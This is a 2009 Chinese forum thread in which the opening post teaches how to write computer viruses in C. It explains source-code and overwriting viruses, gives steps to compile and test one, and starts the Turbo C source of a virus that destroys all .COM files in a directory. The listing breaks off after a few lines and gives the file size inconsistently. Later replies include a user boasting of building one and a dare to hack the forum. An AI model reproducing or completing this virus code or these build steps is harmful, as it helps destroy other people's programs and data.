背影 发表于 2009-7-4 16:14:23

利用C编写病毒

C,是程序员最常用的编程语言之一。类似C等高级编程语言为开发人员提供了大量的内置函数,可以方便程序员编写各种跨平台的安心的应用编程。对于编写病毒而言,也方便了程序员来用自己擅长的语言来编写,但同时也带来了很多弊端。第一,许多高级语言的编程并不基于底层系统,即使是C也不太容易。这就导致这类的大都数病毒的传播机制十分原始(通常是通过重写来实现);另一方面的不足是,大多用高级语言编写的病毒至少有10K,然而更多是比这还更大,这对病毒来说可行不通。如此大的一个常驻内存的病毒将是不切实际的,因为当一大块内存不明不白的消失时,这很容易引起用户的注意。

  另一种用高级语言编写的是代码病毒(source-code virus)。这类病毒极其罕见,但是这类病毒是非常高效的。代码病毒的机制,简而言之,搜索同一类语言的代码文件,比如说,它可能会搜找全部以“.C”为扩展名的C文件,然后它会把自己的加到那个文件里(通常以添加一个包含此程序的头文件然后在main()函数中添加一个调用),这使病毒在编译这文件时至少执行一次。编译之后,病毒一般会隐藏在这程序里潜伏,直到找到另一个C文件。

  不管病毒采用哪种方式,所有的病毒都具有如下一些共同的基本特性:

  1.搜寻一个文件进行感染,这文件可以是可执行文件,源代码文件,或是什么都行(若没找到,则跳转到第三步)

  2.把病毒本体写入此文件

  3.检查有没可满足的触发条件

  4.返回宿主程序或是停止运行并返回到DOS

  对于重写型病毒(Overwriting Virus),它的实现方式很简单。唯一的不足是,它们会摧毁被感染的文件,这使它们很容易被发现。唯一弥补的办法是,找到所有的被感染的文件并删除它们,然后从备件那里恢复。下面这个病毒是用C写的比较简单的重写型病毒,它会感染当前目录下的所有.COM文件,然后把它们彻底删除。每当它感觉到一个文件,它会在屏幕上打印出“Infecting ”(感染 [文件名])警告。如果你想把它编译并测试,则首先编译它,然后用EXE2BIN把它转化成.BIN文件,之后检查它的最终大小。如果不等于9504K,则改写这行:“x=9054;”成适当的大小。它会以一种很原始的方式:删除所有的它命中.COM文件,因此得相当小心这病毒。

  代码:

      - - ------------------ Cut Here -------------------------- - -
  /* This is a simple overwriting virus programmed in Turbo C */
  /* It will infect all .COM files in the current directory */
  /* Infections destroy the programs and cannot be cured */
  /* It was presented in Virology 101 © 1993 Black Wolf */
  /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
  #include   
  #include   
  #include   
  FILE *Virus,*Host;
  int x,y,done;
  char buff;
  struct ffblk ffblk;
  main()
  {
  done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
  while (!done) /* Loop for all COM's in DIR*/

新治 发表于 2009-7-4 16:16:32

病毒的话肯定不只一种语言 应该跟汇编结合起来的吧

背影 发表于 2009-7-4 16:17:56

一般话都是C语言 学好C语言走遍天下都不怕

love3000 发表于 2009-7-4 16:29:57

怕这个,给烦死了

新治 发表于 2009-7-4 16:42:43

一般话都是C语言 学好C语言走遍天下都不怕
背影 发表于 2009-7-4 16:17 https://www.aiganyu.com/static/image/common/back.gif
这是事实 不过真要不怕 还真得学点汇编

卧薪尝胆 发表于 2009-7-4 17:02:29

哇,又是C语言:Q

背影 发表于 2009-7-4 17:03:20

6# 慌着钙余


哈哈^_^

青口宝宝 发表于 2009-7-4 18:57:55

{:2_171:}看8懂

耗儿油 发表于 2009-7-4 20:07:03

我也想学诶。

背影 发表于 2009-7-4 20:09:44

9# qichanghao


可以找说明做啊,我都做了个,不过没什么意思,一下给卡巴杀掉了

邵健波 发表于 2009-7-4 20:44:56

哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。。。。。。。。。。。。。。。。。看不懂

邵健波 发表于 2009-7-4 20:48:46

1# 背影


呵呵呵呵呵呵........你敢不敢黑一下BBS.AIGANYU........一下啊
页: [1]
查看完整版本: 利用C编写病毒